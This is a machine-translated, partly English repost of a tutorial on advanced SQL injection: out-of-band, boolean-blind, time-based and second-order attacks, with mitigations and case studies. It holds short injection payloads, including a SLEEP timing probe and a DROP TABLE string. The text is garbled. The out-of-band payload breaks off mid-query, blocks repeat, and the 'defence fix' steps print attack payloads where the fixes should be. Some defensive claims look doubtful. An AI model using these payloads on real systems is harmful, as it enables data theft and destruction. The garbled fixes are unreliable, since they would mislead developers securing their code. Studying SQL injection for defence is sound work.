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パート SQL インジェクション シリーズ: 高度な SQL インジェクション技術

Mary-Kate Olsen
リリース: 2024-12-05 20:16:11
オリジナル
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Part SQL Injection Series: Advanced SQL Injection Techniques

著者: Trix Cyrus

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高度な SQL インジェクションエクスプロイト – パート 7: 最先端の技術と防止

SQL インジェクション シリーズのパート 7 へようこそ!この記事では、攻撃者が使用する高度な SQL インジェクション手法を詳しく掘り下げ、攻撃者に対抗するための実用的な戦略を提供します。脅威が進化するにつれて、先を行くにはこれらの高度な手法を理解することが重要です。


1.高度な SQL インジェクション技術

1.1.アウトオブバンド SQL インジェクション

帯域外 (OOB) インジェクションは、攻撃者がペイロードの結果を直接観察できない場合に使用されます。代わりに、DNS または HTTP リクエストに依存してデータを窃取します。

  • 仕組み: ペイロードは、攻撃者が制御するサーバーにデータを送信するクエリをトリガーします。例えば:
  SELECT * FROM users WHERE>



<p>The above payload exploits SQL Server's xp_dirtree to make an outbound DNS request.  </p>

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  • Real-World Example:

    In 2019, attackers used OOB techniques to bypass traditional defenses and exfiltrate sensitive data from a government database.

  • Mitigation:

    • Block outbound DNS/HTTP requests from the database.
    • Use network monitoring tools to detect unusual outbound traffic.

1.2. Boolean-Based Blind SQL Injection

This method determines true or false conditions based on subtle changes in the application's behavior.

  • Example Payload:
  ' AND 1=1 -- True condition  
  ' AND 1=2 -- False condition  
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応答の違いは、挿入された条件が true か false かを示します。

  • 使用法:

    攻撃者は、条件付きクエリを使用して、データベース、テーブル、または列を一度に 1 ビットずつ列挙します。

  • 軽減策:

    • パラメータ化されたクエリまたは ORM フレームワークを使用します。
    • ブラインド SQL インジェクション検出用のルール セットを備えた Web アプリケーション ファイアウォール (WAF) を導入します。

1.3.時間ベースのブラインド SQL インジェクション

この手法では遅延を使用してデータを推論します。攻撃者は、サーバーが応答するまでにかかる時間を観察します。

  • ペイロードの例:
  SELECT IF(1=1, SLEEP(5), 0); -- Delays response by 5 seconds  
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  • 影響:

    クエリが遅いとサーバーのパフォーマンスが低下し、サービス拒否が発生する可能性があります。

  • 軽減策:

    • レート制限を使用して過剰なリクエストをブロックします。
    • 長時間実行されるクエリを監視して終了します。

1.4.二次 SQL インジェクション

この手法では、悪意のあるペイロードがデータベースに保存され、管理者レビューなどの後続のアクション中にトリガーされます。

  • シナリオ例:

    • 攻撃者はこのペイロードをフォームに挿入します。
    Robert'); DROP TABLE users; --  
    
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    • レビュー中に、アプリケーションは保存されたペイロードを実行します。
  • 軽減策:

    • 取得中も含め、あらゆる段階で入力をエスケープしてサニタイズします。
    • 不変データベース関数を使用して、悪意のあるスクリプトの実行を防ぎます。

2.実際のケーススタディ

ケーススタディ 1: Magento の脆弱性 (CVE-2019-8144)

事件:

  • 攻撃者は、Magento の電子商取引プラットフォームにある時間ベースの SQL インジェクションの脆弱性を悪用しました。
  • 彼らは認証を回避し、顧客の機密データにアクセスしました。

緩和レッスン:

  • 既知の脆弱性に対処するためにソフトウェアに定期的にパッチを適用します。
  • サードパーティのプラグインと拡張機能に対してセキュリティ テストを実行します。

ケーススタディ 2: Shopify (2020 バグ報奨金)

事件:

  • セキュリティ研究者は、Shopify の API に OOB SQL インジェクションの脆弱性を特定しました。これにより、DNS 経由で機密データが漏洩する可能性があります。
  • これは、Shopify のバグ報奨金プログラムのおかげで、悪用される前に発見されました。

緩和レッスン:

  • 倫理的な脆弱性報告を奨励するために、バグ報奨金プログラムに投資します。
  • API ゲートウェイを活用して、厳密なクエリ検証を強制します。

3.高度な防御戦略

3.1.動的クエリ分析

データベース クエリの異常なパターンや過度の複雑さを監視するツールを使用します。

  • ツール:
    • SQLMap: システムをテストするため。
    • Aqua Security または Imperva: ランタイム保護用。

3.2.コンテキスト認識型検証

コンテキストに基づいて検証ルールを適用します:

  • ログイン ページ: 英数字の値のみを許可するように資格情報を検証します。
  • 検索フォーム: 入力をサニタイズして、SELECT や UNION などの SQL 演算子を除外します。

3.3.データベース固有の構成

  • MySQL で SQL インジェクション検出モード などの機能を有効にします。
  • PostgreSQL で SECCOMP フィルターを使用して、危険な操作を制限します。

3.4.継続的侵入テスト

  • 攻撃をシミュレートして、攻撃者が行う前に脆弱性を特定します。
  • OWASP ZAP や Burp Suite などのツールを使用して、CI/CD パイプラインで自動化します。

4.実践的な課題: エクスプロイトのシミュレーションと防御

シナリオ

電子商取引サイトでは、ユーザーは入力フィールドを使用して商品を検索できます。テストして安全に保ちます。

ステップ:

  1. ペイロードを挿入して SQL インジェクションの脆弱性を検出します。
  SELECT * FROM users WHERE>



<p>The above payload exploits SQL Server's xp_dirtree to make an outbound DNS request.  </p>

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  • Real-World Example:

    In 2019, attackers used OOB techniques to bypass traditional defenses and exfiltrate sensitive data from a government database.

  • Mitigation:

    • Block outbound DNS/HTTP requests from the database.
    • Use network monitoring tools to detect unusual outbound traffic.

1.2. Boolean-Based Blind SQL Injection

This method determines true or false conditions based on subtle changes in the application's behavior.

  • Example Payload:
  ' AND 1=1 -- True condition  
  ' AND 1=2 -- False condition  
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  1. サイトに脆弱性がある場合は、SQLMap などの自動ツールを使用してデータ抽出をシミュレートします。

防御修正:

  • 準備されたステートメントを実装します。
  SELECT IF(1=1, SLEEP(5), 0); -- Delays response by 5 seconds  
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  • 厳密なパターンを使用して入力を検証します。
Robert'); DROP TABLE users; --  
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5. SQL インジェクション攻撃の傾向

5.1.クラウドエクスプロイト

クラウドベースのデータベースは、設定ミスによりますます標的にされています。

5.2. API の脆弱性

マイクロサービスの台頭により、不適切に設計された API が攻撃者の侵入ポイントとなります。

5.3. AI主導の攻撃

自動化ツールは AI を活用して複雑なインジェクション ペイロードを作成します。


最終的な感想

この高度なセッションでは、SQL インジェクションの進化する性質とプロアクティブな防御の重要性を強調します。最先端の技術を理解し、堅牢なセキュリティ対策を実装することで、悪用のリスクを大幅に軽減できます。

~トリセック

以上がパート SQL インジェクション シリーズ: 高度な SQL インジェクション技術の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ソース:dev.to
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